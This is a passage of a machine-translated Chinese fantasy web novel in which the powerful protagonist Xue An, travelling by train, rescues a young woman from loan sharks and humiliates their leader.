    The place of this return was not in the Kunlun Mountains, but directly in Dianzhou.


    When Xue An and others appeared, Hu Si Ling was immediately alarmed.


    He quickly sent people to invite Xue An and others into the headquarters.


    After seeing the Phoenix unit that hadn''t been seen for many days, Commander Hu couldn''t help being taken aback.


    This unit is stronger than when it left!


    "Mr. Xue, Major General An has left Dianzhou some time ago and has returned to Zhongdu!" said Hu Commander.


    Xue An nodded, looked around at everyone, and then smiled and asked, "Where is Zhang Chu?"


    Commander Hu chuckled, "Zhang Chu took the members of the blood unicorn to perform the task! Mr. Xue, I really want to thank you for the formation of Zhang Chu, the blood unicorn is much stronger than before!"


    Xue An smiled and didn''t say anything.


    Now that Dianzhou is in peace, Xue An let the Phoenix go back to the team by himself.


    He led the family to prepare to return to Central Capital.


    According to Xue An, he originally intended to fly back directly.


    But Xue Xiangxue Nian, these two little girls have recently become obsessed with an animation about trains, and they have to ride the train back noisily.


    As a super dad who loves a girl, his daughter''s requirements must be met.


    But after the family got on the train, the two little girls looked around for a long time.


    "Dad, is this a train?" Xue Xiang asked.


    "Yes!"


    "But why doesn''t this train have a long chimney?" Nian Nian asked.


    "Yeah! There is no such long-sounding horn!" Think about it.


    Xue An: "..."


    "Well..., I think the train is too small and the chimney hasn''t grown out yet." Xue An said.


    This explanation was very ridiculous, but the two little girls believed it.


    "Dad is right, this train must not have grown up yet! When it grows up, a chimney will grow!" Niannian said.


    "Then how can I make it grow up quickly?" I thought about it and said with a frown.


    "I know!" Niannian said brightly in front of her eyes: "It must be fed ice cream!"


    "You know how to eat ice cream!" Think about it a little bit of hatred for iron.


    "Aren''t you the same?" Niannian said with a pouting mouth.


    "I didn''t!"


    "You also ate my ice cream last night!"


    "The day before yesterday you ate an extra piece of chocolate!"


    The two little girls began to chat about who had eaten more snacks.


    This scene also attracted the smiling eyes of many people in the carriage.


    After all, two weird little girls like this will be very popular wherever they go.


    Just as the train was about to start, two more passengers arrived in the carriage.


    The two passengers are a man and a woman.


    The man''s suit and leather shoes have a greasy face, and his face is frivolous.


    The girl looks pretty, but judging from her slightly shy look and demeanor, she should have just walked out of school.


    At the same time, the girl''s clothes are very simple, and she does not seem to be a child of a rich family.


    The two people sat on the seat diagonally opposite Xue An.


    Xue An didn''t care too much about this either.


    Not long after they sat down, the train departed.


    Then I heard the man in the suit say loudly: "Originally, my cousin was going to send a special car to pick me up this time, but he didn''t come over because of something temporary! Otherwise, why should we take this garbage train?"


    The arrogance in the man''s speech is disgusting The girl has been a little shy and lowered her head. After hearing the man''s words, she did not say a word.


    The man in the suit smiled and put his hand on the girl''s shoulder.


    The girl shook all over, moved back, avoiding the man''s movements.


    "Don''t... don''t do this!"


    The man retracted his hand and said with some dissatisfaction: "Mengying, I just touched my shoulder, what are you hiding!"


    The girl whispered: "Shao Tian, ??you said you took me to Zhongdu and let me join Tianyuan Company!"


    "of course!"


    "Prior to this, I hope you don''t do this!"


    Tian Bohan heard that a cold smile appeared at the corner of his mouth, "That''s what I say, but you must let me charge some interest first!"

 Chapter 487： How much does she owe you?

    "Do you think that day Yuan company is so easy to enter? If it weren''t for my cousin to be a manager there, based on your education and qualifications, don''t even want to enter the door of Tian Yuan company!" Tian Bohan said coldly.


    Yuan Mengying buried her head lower, "But...but..."


    "There is nothing wrong, Yuan Mengying, remember, you are begging me for this! Understand?"


    "Yeah!" Yuan Mengying murmured.


    Tian Bohan reached out his hand contentedly to grasp Yuan Mengying''s hand.


    Yuan Mengying trembled, but she did not dare to resist, but her eyes gradually turned red.


    The conversation between the two was not loud, and the people around didn''t pay attention.


    Only Xue An heard it and couldn''t help frowning slightly.


    Tianyuan Company?


    Is your own Tianyuan company?


    And who is this man?


    Xue An was slightly puzzled, but he didn''t make a difference, just watched quietly.


    Tian Bohan is obviously not satisfied with just shaking hands.


    The hands began to become restless again.


    But when his hand just touched Yuan Mengying''s waist, Yuan Mengying seemed to be electrocuted, and suddenly stood up, attracting a lot of eyes.


    Tian Bohan obviously did not expect this, but he did not dare to be too explicit in front of so many people, so he found an excuse to stop him.


    Yuan Mengying sat down again, but this time she sat further away from Tian Bohan.


    Tian Bohan''s complexion gradually became hard to look at, and Yuan Mengying''s gaze was getting worse.


    But he didn''t dare to do anything more, so he went to the next stop in a stalemate.


    From Dianzhou to Zhongdu, you need to pass through several large cities, and now you stop at Lingnan City.


    The train needs to stop here for a while.


    Some people in the carriage got out of the car here, while several others came up.


    Everything is normal.


    But at this moment, I saw that the door of the carriage was kicked open, and then a group of people with dyed colorful hair and gangster faces came in with the engraving of I am a hooligan on the forehead.


    They looked around the car, and when they saw Yuan Mengying sitting in the corner, their eyes lit up, and then they walked over with a sneer.


    Yuan Mengying was already pale with fright when the group of people first entered the carriage, and now seeing this group of people coming, she was shaking all over.


    At this time, the group of gangsters came to the seat, and the leading bald man sneered: "Miss Yuan, what? I didn''t pay the money after borrowing it? Do you want to run now?"


    Yuan Mengying trembled: "I didn''t run, my mother is still in the hospital, how could I run? I just want to go to Zhongdu to find medicine that can save my mother!"


    The brawny man spit on the ground and smiled disdainfully: "Miss Yuan, do you really think we are children? That old lady is dying, so what can she do in the hospital? Medicine to save your mother? Ha ha, do you think we will believe it?"


    Yuan Mengying said: "Really, this Tian Shaoyou has a way to let me join Tianyuan Company. As long as I join Tianyuan and become an employee of Tianyuan, I can get a small bottle of Tianyuan potion for free, and my mother will be saved by that time! "


    With that said, Yuan Mengying almost begged: "I beg you to give me some more time, I will definitely pay back the money I owe you!"


    "Stop the **** nonsense, my bald tiger is enough to give you face. I have given you three opportunities since you borrowed money! If you can''t get the money today, don''t blame the brothers for being impolite!"


    As he said, the bald-headed man licked his lips, with a silver evil smile on his face, "When the time comes, we will try to try something, and then sell you to someone to accompany you. When will you make enough money? When will you be released? !"


    These blatant words have filled many people in the carriage with righteous indignation.


    But as soon as he saw the bald tiger and his gangster-faced men, many people bowed their heads helplessly.


    Yuan Mengying shook her head desperately, "Brother Tiger, please give me a period of time? Otherwise, my mother will definitely die!"


    "Tsk tusk, what a filial girl! But you suddenly left Dianzhou, and you have lost the qualification to trust me! Damn, if I rushed over after hearing the news, maybe you really let this little girl run away! "The bald tiger said cursingly.


    Yuan Mengying turned her head and pinned her last hope on Tian Bohan, "Tian Shao, please say a few words for me, I will repay you, okay?"


    Tian Bohan just wanted to talk, but one of the bald tiger''s men took out a knife and put it on his back, and said something viciously in his ear.


    "Be honest with me!"


    The cold and sharp touch from the back of the waist had long shocked Tian Bohan, so when he heard Yuan Mengying''s call for help, he gave a strong laugh, and then said with a bow and bow at the bald tiger.


    "Brother, I suddenly have a urgency, can I go to the toilet?"


    The bald tiger waved impatiently.


    Tian Bohan stood up and fled.


    Seeing this scene, Yuan Mengying was completely desperate.


    And the bald tiger grinned and said: "Just this kind of stuff can get you into Tianyuan Company? Don''t be a scammer!"


    His words caused a burst of laughter among the little gangsters.


    But just in this laughter, a calm voice came.


    "How much does she owe you?"


    Ok?


    The laughter dissipated, the carriage became quiet, and the bald tiger looked at the speaker in doubt.


    I saw Xue An sitting on the chair and reaching out to Yuan Mengying, "She, how much does she owe you?"


    "What are you doing?" The Bald Tiger asked coldly.


    "I just listened to your conversation, doesn''t this girl owe you money? I can pay it back for her!"


    "Are you paying it back for her?" The Bald Tiger was a little surprised.


    Xue An nodded.


    The bald tiger stared at Xue An for a long time, and then slowly said.


    "Friend, you can eat rice, but you can''t talk nonsense, do you know how much she owes us?"


    As he spoke, the bald tiger held out a finger.


    "A whole million!"


    This number drew some people''s low exclamation.


    "Now, do you still want to pay for her?" The Bald Tiger said sarcastically.


    The gangsters laughed harshly.


    In the eyes of the bald tiger, this Xue An''s temperament and manners are not like ordinary people, but at most he is a child with a little money in his family, but not so rich.


    Otherwise, I wouldn''t take this class of train I just shouted like that, maybe I was thinking of a hero to save the United States.


    But the number of one million is enough for many people to weigh.


    Sure enough, Xue An lowered his head, as if thinking about something.


    The bald tiger sneered.


    And Yuan Mengying, who seemed to see a glimmer of hope just now, became desperate again now.


    one million!


    This number is enough to scare off many people.


    "Miss Yuan, come with us!" The bald tiger stepped forward to pull Yuan Mengying''s arm.


    At this moment, Xue An''s voice came.


    "Sorry, I don''t seem to have such a small amount of bank card, so let me call someone to send it to you!"

 Chapter 488： Murderous intention

    The bald tiger was stunned.


    What do you mean by a bank card that is not so small?


    Does it mean that one million is still a small amount?


    Xue An smiled at Yuan Mengying at this time, "Just ask, is this Lingnan Station right?"


    Yuan Mengying nodded, "Yes!"


    Then Xue An took out his mobile phone and dialed a number, "I was on the train and sent me a million! As soon as possible!"


    After speaking, he hung up the phone, and then smiled at the bald tiger, "Wait a minute, someone will send money soon!"


    The bald tiger''s face was uncertain, "Boy, if you dare to fool us, I promise you will not be able to eat it!"


    Xue An smiled faintly, noncommittal.


    And An Yan waved to Yuan Mengying, "Girl, come here!"


    Yuan Mengying hesitated, then shrank and stood up and walked over.


    "Look at you thin, let''s eat something first!" An Yan said with a smile.


    Seeing the gentle Anyan in her smile, Yuan Mengying suddenly had the urge to cry.


    For more than a year, she has been living in an environment full of fraud and calculations, and no one has ever smiled at her so tenderly.


    Yuan Mengying was indeed a little hungry. In these days, as her mother''s condition got worse, the daily expenditure in the hospital was not a small figure.


    So in order to save money, her living expenses have been cut to the limit.


    I live on two steamed buns almost every day.


    That''s it, she also sold out all the things that could be sold in the family, and finally, in desperation, she borrowed a loan shark from people like the bald tiger.


    At that time, she only borrowed more than 200,000 yuan, and during the period she also paid back part of it through part-time work, but under the profit, she quickly reached the amount of one million.


    Yuan Mengying was unable to repay at all.


    The bald tiger asked her to sell herself to repay the money, and Yuan Mengying naturally refused.


    This is why she came out this time and the bald tiger eagerly brought people to chase her.


    "Sir, I thank you for your kindness, but one million is not a small amount. You will leave soon, and I will follow them back!" Yuan Mengying filled his stomach almost and said in a low voice.


    Xue An smiled slightly, "You never thought about what will happen to you if you follow them back?"


    Yuan Mengying lowered her head sadly, "I know, but I have come to a dead end, there is no way! Mom will soon run out of oil, and ordinary medicine will have no effect. The doctor said, unless you use Tianyuan potion to save life ! But the most common bottle of Heavenly Fate Potion is worth millions! I can''t afford it at all!"


    "That''s why you want to enter Heavenly Fate?" Xue An said lightly.


    Yuan Mengying nodded, "As long as you can work in Tianyuan, you can get a bottle of Tianyuan potion, and the salary is also very good, so now countless people are proud of being able to work in Tianyuan! But..."


    Xue An smiled faintly, "There is no way out of the sky, since I said to help you, I will definitely help you! Wait a minute!"


    Yuan Mengying could not continue.


    I finally got acquainted with someone who could introduce myself to Tianyuan Company through relationships, but this kind of thing happened.


    Ten minutes have passed, and Tian Bohan hasn''t returned yet, and he probably has already scared away.


    Xue An didn''t say anything, just looked at the watch quietly.


    ten minutes.


    twenty minutes.


    thirty minutes.


    More than half an hour later.


    An impatient look appeared on the bald tiger''s face, and suddenly stood up and said with a sneer: "Enough! Boy, you are really playing us!"


    Then he said to Yuan Mengying: "Follow us!"


    Yuan Mengying was about to stand up, and Xue An stretched out her hand to signal her not to move.


    The bald tiger''s complexion became difficult to look, "Boy, it seems that you are really impatient! Move..."


    Before the handwriting was uttered, I heard bursts of exclamation from outside the car window.


    As soon as the bald tiger was surprised, the door of the carriage was kicked to the ground.


    Then a group of people filed in.


    These people are all sturdy young men, wearing sword-sleeved costumes with a delicate small sword embroidered on their chests.


    Seeing these people, the bald tiger was shocked, his face instantly turned pale.


    "Yu...Yu''s family!"


    Of course he recognizes this costume.


    In fact, in the entire southwest, few people would not recognize this sign.


    This is the symbol of Lingnan Yujia.


    The Yujia in Lingnan has great influence throughout the southwest.


    Although the original Lingnan Sword Fairy had fallen.


    But now Yu Ming, swordsmanship seems to be better.


    What''s the matter, why did the Yu family suddenly appear?


    The bald tiger was in surprise.


    I saw a man and a woman walking quickly into the carriage.


    Both the man and the woman seem to have emerged from ancient paintings.


    The man is handsome and the woman is beautiful.


    But there was a bitter sword aura on both of them, which made people shudder.


    Seeing these two people, the face of the bald tiger can no longer be described as pale, but a dead gray.


    Because it is the Yu Ming who has come from the Yu family, who has the strongest momentum now, and is already known as the Lingnan Little Sword Fairy.


    That girl is naturally the daughter of the Yu family.


    The reason the Bald Tiger knows them two is because he once attended a Lingnan family gathering with his boss''s boss.


    At the party, his boss bowed to Yu Ming''s glass of wine.


    But Yu Ming didn''t even look at it.


    Even so, the boss of the bald tiger did not dare to complain at all.


    Because compared with a family like the Yu family, the so-called Heybang is a fart!


    What is it that shocked such a big man? Do you want to come forward and see you?


    The Bald Tiger was thinking about it, and then he saw a scene that almost scared him to death.


    I saw that Yu Ming and Yu Ran quickly walked to Xue An and bowed together.


    "Mister."


    Following the movements of the two of them, all the children of the Yu family bowed and shouted, "I have seen Mr.".


    The whole carriage was silent.


    Everyone looked at this scene dumbfounded.


    The bald tiger turned black before his eyes, and his whole body was shaking.


    Xue An said lightly: "Did I bring the money you brought?"


    "Mr. Hui, brought it!"


    Several boxes were opened, and inside were brand-new banknotes.


    "In a hurry, I only brought five million, is that enough?" Yu Ming said with some worry.


    Xue An smiled slightly Enough! "Then pointed to the bald tiger.


    "Give him a million! This is what he wants!"


    Yu Ming turned to look at the bald tiger, his eyes getting cold.


    An hour ago, he received a call from Xue An at home. When he heard Xue An said that he would prepare one million and send it to the train.


    He immediately understood that there must be something wrong with Mr. Xue.


    He didn''t dare to delay, and immediately rushed here with the money.


    After Yu Ran knew that Xue An was here, he came with him.


    Now listening to Xue An''s words, it seems that this guy is looking for something?


    Damn it!


    Actually provoke Mr. Xue on my Lingnan chassis!


    Yu Ming''s killing intent gradually rose.

 Chapter 489： I am a very reasonable person

    A strong pressure enveloped the entire carriage. A thermos cup placed beside the bald tiger seemed to have been cut off by something, sliding down obliquely, and the cut was extremely smooth.


    And the messy rosary beads that were worn on the hands of the bald tiger''s neck broke even more. At the same time, these beads were all cut off from the middle, and the remaining beads were scattered all over the place.


    Xue An watched this scene from behind, raised his eyebrows slightly, smiled but said nothing.


    "You and Mr. Xue want one million?" Yu Ming said lightly.


    The bald tiger was stiff and dare not even move.


    Because he was afraid that he would be disconnected like those rosary beads, he could only say grimly: "I...I was collecting debts from that girl, and this gentleman said that he paid the girl back! I really didn''t mean it."


    Speaking of the back, the bald tiger was almost crying.


    "Master Yu, I really didn''t mean it!"


    Yu Ming sneered and wanted to do it.


    Xue An said indifferently: "I really said it!"


    Yu Ming was taken aback, turned his head to look at Xue An, "Mr..."


    Xue An smiled slightly and said to the bald tiger: "I said that I would pay it back for her. You can take one million now!"


    This time it was the bald tiger''s turn to be dumbfounded, and secretly looked at Yu Ming.


    But seeing that Yu Ming had stepped aside, he said coldly: "Mr. has spoken, then you can get it!"


    The bald tiger''s heart gradually became alive.


    It seems that this person has a higher status than Yu Ming. Who is he?


    How can such a high status travel on this train?


    Regardless of him, it matters to get the money first.


    These big people always have this kind of quirks.


    Thinking in his heart, the bald tiger smiled incomparably flattering, stepped forward and picked up a small box, and then respectfully took out the loan agreement from his arms.


    "Miss Yuan, this is an IOU, now we have both cleared up!"


    Then he bowed to Xue An and Yu Ming, "It''s nothing, let''s go first!"


    He turned and left.


    "Hold on!" Xue An said lightly.


    The Yu family immediately stopped the bald tiger from going.


    The bald tiger trembled all over and turned around, laughing more ugly than crying, "Sir, what else do you have?"


    "Just want to go like this?"


    "Well, what do you mean..."


    "She owes you the money, I paid it back for her! What about the money you owe?"


    "The money I owe?" The bald tiger looked dumbfounded.


    Xue An nodded and said indifferently: "I am a very reasonable person. Since you got in the car, all kinds of verbal insults and provocations have seriously hurt this girl''s inner dignity. Shouldn''t this be a little bit of energy? Is it a loss fee?"


    The bald tiger''s eyes are dull, the boss with an open mouth.


    Yu Ming and Yu Ran looked at each other, and both saw a smile in each other''s eyes.


    Sir, this is plainly blaming people.


    "Then...how much do you want?"


    "This girl''s mental loss and lost work pay, etc. add up, you can give one thousand yuan!" Xue An said lightly.


    Hearing this amount, the bald tiger exhaled.


    Fortunately, it''s only one thousand yuan! acceptable!


    So you have to pay immediately.


    "Wait!"


    "Sir, is there anything else?"


    "The girl was paid a thousand yuan, and what about me?"


    "You?" The bald tiger looked puzzled.


    Xue An nodded, "I used to stay here well, but because of you, I made a call, and my calling card is still abroad. Don''t you know that international roaming is very expensive? This phone number You have to pay for the fee!"


    "Yes, yes! I dig! I dig!" The bald tiger promised.


    Isn''t it just a phone bill, it can be done with up to a hundred dollars.


    "Well, you can pay 10 million for the phone bill! I won''t ask for more!"


    The bald tiger with a relaxed look was dumbfounded, and he trembled: "Sir, what do you say?"


    Xue An stretched out a finger, "Ten million! It depends on your cooperation, and the price of friendship is given to you!"


    The bald tiger took a deep breath and wanted to ask Xue An if the call was made to Mars.


    You must know that ten million can buy a small communications company. If this is converted into telephone charges, it is estimated that it will not be used up until the earth is destroyed.


    "First... Sir, don''t tease me, ten million... Even if you kill me, I can''t afford it!" The bald tiger began to beg for mercy.


    "I didn''t want to kill you! It is only right to pay off the debt. You are asking this little girl for the debt, and I paid it for her. Now that you owe me, why are you going to die?" Xue An looked back in the chair. On, I said in time.


    As soon as the bald tiger''s legs were soft, it thumped and knelt on the ground.


    His subordinates who were arrogant and thought they were pulling had long been trembling with fright, and when they saw the boss kneeling, they all knelt down quickly.


    The carriage was quiet, and people watched this scene blankly.


    The bald tiger wanted to kneel down, and the other party could give some face, but Xue An''s serious expression on his face, and then at the murderous Yu Ming, his heart gradually sank.


    "Sir, please give me a way out!" said the bald tiger crying.


    "So, can''t you really get ten million?"


    The bald tiger nodded repeatedly, and said with a wry smile: "Even if you kill me, I don''t have that much money! All the money to collect debts must be given to my boss!"


    Xue An nodded, "That''s it..." Then he said to the person next to him: "Any pen and paper?"


    "With only paper, no pen!"


    "Paper is fine, pass it to him!"


    Someone handed the Bald Tiger a blank sheet of paper.


    The bald tiger looked confused.


    What does this mean?


    "Since you can''t get it out now, it''s okay. Now you write an IOU and say you owe... well, what''s your name?"


    Yuan Mengying kept staring blankly until Xue An asked, she woke up, "Ah, my name is Yuan Mengying."


    "Well, just write that you owe Yuan Mengying 10 million!" Xue An said, smiling at the bald tiger.


    "I think how to write this IOU, you don''t understand it!"


    The bald tiger looked at Xue An with a smile on his face.


    "The interest will be based on the standard you give to others. By the way, remember that it''s Ligunli!"


    The bald tiger began to tremble, "Sir..."


    "Write!" Xue An just one word.


    But this word seemed to hit the bald tiger''s heart, which made him pale, and he was uncomfortable.


    "You let me write, but I don''t have a pen!" As soon as the bald tiger''s voice fell, Xue An waved his hand, and a sword light swept across directly, cutting off a finger of the bald tiger.


    "Using blood as ink is more effective in this way! Are you right?" Xue An said with a smile.


    But in the eyes of the bald tiger, the man''s smile was more terrifying than the devil.


    Although his body was trembling with pain, he never dared to delay anymore and wrote the IOU directly.


    "Okay...Okay!"


    Xue An didn''t answer, just glanced at Yu Ming.


    Yu Ming stepped forward to take it, and then gave Yuan Mengying a look of bewilderment.


    Xue An just smiled and nodded, "This is true, but remember to repay the loan on time! Otherwise..."


    Without waiting for Xue An to speak, Yu Ming said solemnly: "Sir, don''t worry, if he dares not to pay back, the Yu family will kill him!"

 Chapter 490： Suicide is impossible. Suicide is impossible in this life!

    The bald tiger got off the train dazedly.


    After turning a corner, he stopped.


    "Boss, your hand..." the next man reminded me kindly.


    The bald tiger was furious, and slapped the man''s face with a slap.


    "roll!"


    These subordinates were all shy and dare not say anything.


    The bald tiger tremblingly took out his cell phone and dialed a number.


    "Hey, boss!"


    The person on the other end of the phone is the boss of the bald tiger, and a well-known elder brother in the southwest.


    "Tiger, what''s going on? Did that little lady catch it? Send it to me first if you catch it! I''ll try it first."


    The bald tiger took a deep breath, "Boss, things have changed."


    "Ok?"


    "I got the money!"


    "That''s okay! I got one million, and it''s a good job!"


    "But..." The bald tiger licked his lips and said with difficulty.


    "But what?"


    "But I met someone who was forced to write a ten million IOU. After subtracting that one million, he still owes nine million...zero thousand."


    "What? You idiot, do you just write if he asks you to write?" The boss was furious.


    The bald tiger listened quietly.


    The boss scolded for more than a minute before he took a deep breath and asked, "Damn, who would dare to play like this in the Southwest? Tell me, I''ll take someone to kill him now!"


    "It''s the Yu family!" The Bald Tiger said with a wry smile.


    There was silence on the other end of the phone.


    "To be precise, the Yu family was just attacking, and it was the people who even the Yu family would treat me respectfully who really asked me to write the IOU. They respectfully call him Mr."


    As soon as the bald tiger finished speaking, he heard the sound of broken glass coming from the other end of the phone, and then the boss said in a voice that had never been horrified.


    "What are you talking about? Even the Yu family should call you Mr.? Is this man a man of honor?"


    The bald tiger thought for a while, and Xue An''s temperament was indeed noble.


    "Yes!"


    There was silence on the other end of the phone.


    The bald tiger asked tentatively: "Boss, what should I do about this? I owe more than nine million yuan to others now, you..."


    "Tiger!" The boss said suddenly and cheerfully.


    "Huh? Boss, what''s the matter?"


    "You are very lucky. I think the best thing you should do now is go to the temple and worship. Thank you God and Buddha for your blessing."


    The bald tiger''s tears came down, "Boss, don''t you stop laughing at me, okay? I owe more than nine million yuan to others. Am I still lucky?"


    "Hehe, Tiger, life is more valuable than nine million! Do you know who this person you met is? That is the invincible existence in the world! He didn''t kill you, but just made you lose money. You really are My ancestors have accumulated great virtues!"


    Hearing what the boss said, the bald tiger was a little dumbfounded.


    "You mean, he is..."


    "Yes! That''s the one!"


    The bald tiger was sweating all over and couldn''t even stand. He leaned on the telephone pole on the side of the road and said desperately: "No wonder! But boss, what about the money I owe?"


    "Nonsense, who would dare not pay back the money owed to him? If you really dare not pay back, then the Yu family can tear you up if you don''t use him!


    "That''s more than nine million! Boss, you can''t leave me alone! You..."


    "Tiger, I don''t think you are suitable for this job at your age, so you should withdraw as soon as possible. As for the money you owe is paid back slowly, there will always be a day when the repayment is finished, right?"


    "Hey, boss, you... Fuck!" The bald tiger wanted to say something, the phone was hung up, and he was so angry that he smashed the phone to pieces.


    "Come here, take me to the hospital first!" The bald tiger said with a sore finger.


    No one answered.


    The bald tiger looked up and roared: "Are you all **** deaf?"


    These men of his looked at each other, their faces showed weird expressions.


    The bald tiger felt cold, and his tone slowed down, "The third child! Drive me to the hospital!"


    The third child is the one who was slapped just now.


    This person showed a sneer when he heard the words, and took a step back, "Brother Tiger, there is something suddenly happening in my family, sorry, see you later!"


    After that, turn around and leave.


    When he left, the other people didn''t even bother to find excuses, and left with them.


    The bald tiger was furious, "What are you going to do? Are you **** trying to rebel, I..."


    These men looked back at him coldly, "Brother Tiger, we all heard what the eldest brother said just now. You should retire when you are old. Remember to live and pay the bill! Goodbye!"


    These subordinates left without looking back.


    The bald tiger stared blankly at the backs of these men who had gone away, and suddenly felt that the pain in his fingers became worse.


    Nine million debts, the pain of severed fingers, and the betrayal of his men.


    In just half a day, this guy has tasted all kinds of tastes.


    When his head was hot, he turned around to jump off the sidewalk.


    Just find a car and kill yourself!


    Bald Tiger thought so in his heart, but two people suddenly blocked him.


    Both of them were wearing Yu''s clothes and smiled at him slightly, "I''m sorry Brother Tiger, our owner said that we want to follow you secretly. And our lady said."


    "Suicide is impossible, you can never commit suicide in your life!"


    The bald tiger''s eyes went black and he passed out to death.


    Because he saw his miserable life in the future.


    And on the train.


    Xue An looked at Yu Ming and said lightly: "Swordsmanship has improved well!"


    A hint of excitement appeared on Yu Ming''s face, "Mr. Xie compliments."


    "Enlightened?"


    Yu Ming nodded.


    Xue An smiled, "Good luck!"


    Epiphany is an unforgettable opportunity for a practitioner.


    The previous Yu Ming''s swordsmanship was wrong, but after this epiphany, he actually returned to the right way.


    This had to make Xue An lament Yu Ming''s luck.


    "My fire phoenix has a new swordsman, and you can compare it when you look back!"


    Yu Ming''s eyes lit up, "Mr. Xie!"


    For a kendo master like him, having a well-matched master can be met but not sought.


    Xue An smiled slightly, then turned to look at the sad Yu Ran.


    "long time no see!"


    Yu Ran trembled slightly and then gently saluted, "I have seen Mr.!"


    From the moment he entered the train, Yu Ran was secretly observing Xue An and An Yan.


    When she saw the two sitting together, like gods and goddesses, her last glimmer of hope was completely wiped out.


    She didn''t even know what happened just now, and stood there in a muddle-headed manner.


    Xue An nodded slightly without saying anything.


    Yu Ming stepped forward and said, "Sir, since you have come to Lingnan, please stay in Yu''s house for a few days!"


    Xue An shook his head, "No, we are ready to return to Zhongdu. If it weren''t for this matter this time, we won''t notify you."


    Yu Ming wanted to say something, seeing Xue An''s expression knowing that there was no way to keep him, he had to bow his head and said.


    "Yes!"

 Chapter 491： Joker

    All the members of the Yu family left.


    The carriage returned to calm.


    Only the blood on the floor reminded people of what just happened.


    Everyone looked at Xue An with awe.


    Although I don''t know who Xue An is.


    But looking at the situation just now, it is obviously a big man.


    At this time Yuan Mengying got up and left her seat, kneeling down with excitement.


    She knew that if Xue An didn''t take the shot, she would definitely fall into an extremely dangerous situation now.


    She had no way to express her gratitude, so she could only kneel down.


    Xue An waved.


    A gentle force supported her and prevented her from kneeling, and then said lightly: "I saved you because of your pure filial piety, not for other reasons. You don''t have to kneel down!"


    Yuan Mengying felt even more grateful, but for a while, she nodded in tears.


    At this moment, Tian Bohan, who left with the help of urine, looked at it with a constricted head.


    When I saw that there were no bald tigers in the carriage, I was relieved and stepped in.


    "Oh, I don''t know what''s going on, my stomach seems to have been eaten badly, and I went there for so long. Hey, have all those people gone?" Tian Bohan pretended to be surprised, then put on an angry expression on his face.


    "It''s really cheap for them. If it weren''t for my sudden stomach trouble, I would definitely make these guys kneel and beg for mercy."


    No one speaks.


    The whole carriage looked at him with weird eyes.


    It''s like... watching a fool''s performance.


    Tian Bohan, who was a little hairy by these eyes, coughed twice and then smiled at Yuan Mengying.


    "Miss Yuan, you are fine! After a while in Zhongdu, I will let my cousin arrange for you to enter Tianyuan!"


    Yuan Mengying ignored him with a cold face.


    Xue An laughed, "Which Heavenly Destiny do you mean?"


    Tian Bohan smiled proudly, "Which Heavenly Fate can be there? Naturally, it is the one that produces Tian Fate potion and ranks among the top ten in the world!"


    "Ranked in the top ten in the world?" Xue An said.


    "Yeah, don��t you even know this? Although Tianyuan Company has only been established for more than a year, it is now a world-class company because of the excellent efficacy of Tianyuan Potion, and the ranking has soared. I guess it won��t be long before it will be the number one big company in the world!�� Tian Bohan said proudly, as if Tianyuan Company belonged to him.


    Xue An nodded slightly, and said with a faint smile: "Can you arrange for such a big enterprise?"


    "Others may not work, but I definitely can! My cousin is Tianyuan''s department manager, and he and Tianyuan''s chairman Qiao Leqiao are high school classmates. For this kind of relationship, it is natural to arrange for someone to go in!"


    Qiao Le''s high school classmate? Xue An''s heart moved slightly.


    Tian Bohan smiled at Yuan Mengying at this time, "Miss Yuan, let''s go back and sit down. There are several forms that you need to fill out in advance!"


    Yuan Mengying sat still, a tangled color flashed across her face, and then shook her head, preparing to refuse.


    Xue An said with a smile: "It''s a good thing to say that, Miss Yuan might as well follow it!"


    With that, Xue An blinked at Yuan Mengying.


    Yuan Mengying was stunned.


    In fact, she has been struggling with this matter just now.


    Although the usury matter was resolved, my mother''s illness had not yet been resolved.


    Although Yuan Mengying believed that as long as she opened her mouth, this mysterious and powerful man would definitely help herself.


    But I and others are not relatives, just now this incident is equivalent to a big favor of one million, now how embarrassed to open your mouth again?


    At the moment, I still have to find a way to get the Heavenly Fate Potion, otherwise my mother''s illness will still be cured.


    So although she was extremely disgusted with this Tian Bohan, she could only answer it silently.


    I wondered whether if I followed Tian Bohan, would he make the benefactor angry.


    When she finally made up her mind to refuse, Xue An unexpectedly motioned her to follow.


    She nodded blankly, bowed deeply at Xue An and An Yan, then turned and returned to the seat.


    Tian Bohan didn''t dare to act blatantly this time, but kept bragging about how good his cousin was.


    Yuan Mengying''s thoughts were not on this at all. She turned her head and looked at the scenery passing by outside the window, her eyes flickering.


    She didn''t know what fate was waiting in front of her.


    If you really enter the Heavenly Fate, then your mother''s illness will be saved, but it also means that you will lose your innocence.


    Because Tian Bohan''s requirement is to allow himself to enter Tianyuan, and then he has to accompany him for a month.


    Thinking of this, Yuan Mengying felt a bit tingling in her heart, and she peeked at Xue An not far away.


    Xue An noticed her gaze and smiled at her.


    I don''t know why, after seeing Xue An''s smile, Yuan Mengying''s heart settled down.


    It''s just that she didn''t notice, Tian Bohan also noticed this scene, and her expression gradually became gloomy.


    The next journey was uneventful, and the train slowly entered Zhongdu Railway Station.


    Tian Bohan led Yuan Mengying out of the car.


    "Originally, my cousin was here to pick me up, but Director Qiao temporarily notified him to attend the meeting, so he couldn''t come. Let''s take a taxi and go there!" Tian Bohan said.


    Yuan Mengying didn''t say a word, but followed him silently, with mixed feelings in her heart, unable to tell what it was like.


    At this moment, I heard a calm voice coming, "Are you going to Tianyuan now?"


    Yuan Mengying looked up and saw Xue An leading the family standing not far away and said with a smile.


    Yuan Mengying nodded.


    "Coincidentally, we also want to go to Tianyuan, why not go together!"


    There was a warm current in Yuan Mengying''s heart, her nose was sour, and she almost cried.


    Tian Bohan''s complexion became more difficult to look, and he sneered, "What are you going to do in Tianyuan?"


    "Because I happen to have a few friends working at Tianyuan!" Xue An said lightly.


    Tian Bohan was taken aback for a moment, and then a sardonic smile appeared on his face, "Oh? Then you talk about who is there? Although I don''t work in Tianyuan, I know all the big people who have identity."


    "Like Lao Zhao, like Xiao Le!"


    Tian Bohan was startled at first and then sneered: "Also Lao Zhao, I guess he is a cleaner in Tianyuan!"


    Xue An nodded and smiled, "You really guessed it!"


    Tian Bohan looked disapproving.


    As he said, although he didn''t work in Tianyuan, but because of his cousin Tian Bojun, he was very precious to the big people in Tianyuan.


    The names Xue An said were not any of them at all.


    So he didn''t take it seriously.


    After getting the taxi, Tian Bohan dragged Yuan Mengying into the car and drove away.


    Xue An smiled slightly and said to An Yan: "Go, let''s go to Tianyuan."


    Xue An didn''t disturb anyone during his return to Zhongdu this time, and naturally there was no pick-up and drop-off vehicle.


    He simply took a taxi and took the family to Tianyuan.

 Chapter 492： Let all of you on the board come to see me

